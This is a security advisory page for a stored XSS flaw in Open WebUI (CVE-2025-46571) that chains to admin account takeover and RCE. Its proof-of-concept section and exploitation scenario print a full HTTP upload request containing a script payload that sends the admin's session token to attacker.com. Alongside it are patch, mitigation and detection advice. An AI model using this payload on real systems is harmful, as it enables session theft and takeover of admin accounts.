CVE-2025-46571: Open WebUI: Stored XSS via HTML upload enables admin RCE

GHSA-8gh5-qqh8-hq3x MEDIUM
Published July 7, 2026
CISO Take

A low-privileged user of Open WebUI can upload an HTML file that smuggles a `<script>` tag past the upload filter (padding it with an `<h1>` tag defeats the sanitizer), then trick an admin into opening the file's URL to execute arbitrary JavaScript in the admin's browser session. Blast radius is limited by design — the file endpoint only permits the uploader or an admin to view the content — but that's precisely the weaponizable path: this is a low-friction pivot from any authenticated account to full admin account takeover, and the vendor's own advisory notes it chains into RCE via the Functions feature. There's no CISA KEV listing, no public exploit or Nuclei template, and EPSS sits at a low 0.003, so opportunistic mass exploitation is unlikely — this is a targeted, social-engineering-dependent attack rather than an internet-scannable one. Patch to open-webui 0.6.6 immediately, since this package alone carries 113 other tracked CVEs and is a common self-hosted LLM chat front-end; in the interim, restrict who can upload files and train admins never to open file-preview links sent by other users.

Sources: NVD GitHub Advisory EPSS ATLAS

What is the risk?

Medium severity is appropriate given the authentication requirement and the narrow default viewership (uploader + admins only), which meaningfully constrains the attack surface versus an unauthenticated stored XSS. However, the realistic impact is severe: because Open WebUI's viewership model funnels malicious content toward admins specifically, and because admin session compromise cascades into the Functions RCE primitive documented in the linked advisory, the practical risk is closer to a privilege-escalation vulnerability than a routine content-injection bug. No active exploitation, KEV listing, or public PoC/scanner exists today, so this is a proactive-patch scenario rather than an emergency incident-response one — but the low EPSS score should not be read as low priority given the admin-takeover chain.

How does the attack unfold?

Initial Access
A low-privileged authenticated user uploads an HTML file containing a script tag, padding it with benign HTML to bypass upload sanitization.
AML.T0049
Delivery
The attacker retrieves the file ID and sends the resulting file-viewing URL to an admin via chat or another channel.
AML.T0011.003
Execution
The admin opens the link, and the embedded JavaScript executes in their authenticated browser session, exfiltrating their session token.
Impact
The attacker replays the stolen admin token and invokes the Functions feature to achieve remote code execution on the Open WebUI host.
AML.T0053

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip < 0.6.6 0.6.6
144.2K Pushed 5d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.3%
chance of exploitation in 30 days
Higher than 22% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What should I do?

1 step
  1. Upgrade to open-webui >= 0.6.6, which fixes the file-content-type sanitization gap referenced in commit ef2aeb7. Until patched, disable or tightly restrict file uploads for non-admin users, and disable or restrict the Functions feature to trusted admins only to blunt the downstream RCE chain. Add server-side Content-Type/Content-Disposition enforcement (force Content-Disposition: attachment and a non-executable MIME type on /api/v1/files/*/content/* responses) and a strict CSP on the file-viewing endpoint as defense in depth. Detection: audit admin_jobs/access logs for admin accounts opening /api/v1/files/<id>/content/html URLs shortly after receiving messages from low-privileged users, and review recent file uploads with .html/text-html content types for suspicious script content.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.4 - AI system security and resilience
OWASP LLM Top 10
LLM05 - Improper Output Handling

Frequently Asked Questions

What is CVE-2025-46571?

A low-privileged user of Open WebUI can upload an HTML file that smuggles a `<script>` tag past the upload filter (padding it with an `<h1>` tag defeats the sanitizer), then trick an admin into opening the file's URL to execute arbitrary JavaScript in the admin's browser session. Blast radius is limited by design — the file endpoint only permits the uploader or an admin to view the content — but that's precisely the weaponizable path: this is a low-friction pivot from any authenticated account to full admin account takeover, and the vendor's own advisory notes it chains into RCE via the Functions feature. There's no CISA KEV listing, no public exploit or Nuclei template, and EPSS sits at a low 0.003, so opportunistic mass exploitation is unlikely — this is a targeted, social-engineering-dependent attack rather than an internet-scannable one. Patch to open-webui 0.6.6 immediately, since this package alone carries 113 other tracked CVEs and is a common self-hosted LLM chat front-end; in the interim, restrict who can upload files and train admins never to open file-preview links sent by other users.

Is CVE-2025-46571 actively exploited?

No confirmed active exploitation of CVE-2025-46571 has been reported, but organizations should still patch proactively.

How to fix CVE-2025-46571?

Upgrade to open-webui >= 0.6.6, which fixes the file-content-type sanitization gap referenced in commit ef2aeb7. Until patched, disable or tightly restrict file uploads for non-admin users, and disable or restrict the Functions feature to trusted admins only to blunt the downstream RCE chain. Add server-side Content-Type/Content-Disposition enforcement (force `Content-Disposition: attachment` and a non-executable MIME type on `/api/v1/files/*/content/*` responses) and a strict CSP on the file-viewing endpoint as defense in depth. Detection: audit admin_jobs/access logs for admin accounts opening `/api/v1/files/<id>/content/html` URLs shortly after receiving messages from low-privileged users, and review recent file uploads with `.html`/text-html content types for suspicious script content.

What systems are affected by CVE-2025-46571?

This vulnerability affects the following AI/ML architecture patterns: model serving UIs, self-hosted LLM chat interfaces, agent/plugin frameworks (Functions).

What is the CVSS score for CVE-2025-46571?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

model serving UIsself-hosted LLM chat interfacesagent/plugin frameworks (Functions)

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0049 Exploit Public-Facing Application
AML.T0053 AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.4
OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

### Summary Low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. ### Details The following HTTP request can be sent to the backend server to upload a file with the contents: `<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>` ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Note the `filename="test.html"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. The backend server responds to the above request with JSON data that contains an `id` parameter. ![image](https://github.com/user-attachments/assets/ac15e108-d385-4e58-b29a-eb79aafbffda) This ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability. ### PoC First, upload an html containing JavaScript code to the backend server using the following HTTP request: ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Then copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` ### Impact Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766

Exploitation Scenario

A disgruntled or compromised low-privileged Open WebUI user uploads an HTML file containing `<h1>padding</h1><script>fetch('https://attacker.com/?token='+localStorage.getItem('token'))</script>` to bypass the sanitizer that blocks pure-script files. They retrieve the returned file ID and send the resulting `/api/v1/files/<id>/content/html` link to an admin via a chat message, ticket, or email, framed as something worth reviewing. When the admin opens the link, the script executes in the admin's authenticated browser context and exfiltrates their session token to the attacker's server. The attacker then replays that token to authenticate as the admin, and — per the linked GHSA-9f4f-jv96-8766 advisory — leverages the Functions feature to achieve remote code execution on the Open WebUI host.

Weaknesses (CWE)

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.

Timeline

Published
July 7, 2026
Last Modified
July 7, 2026
First Seen
July 7, 2026

Related Vulnerabilities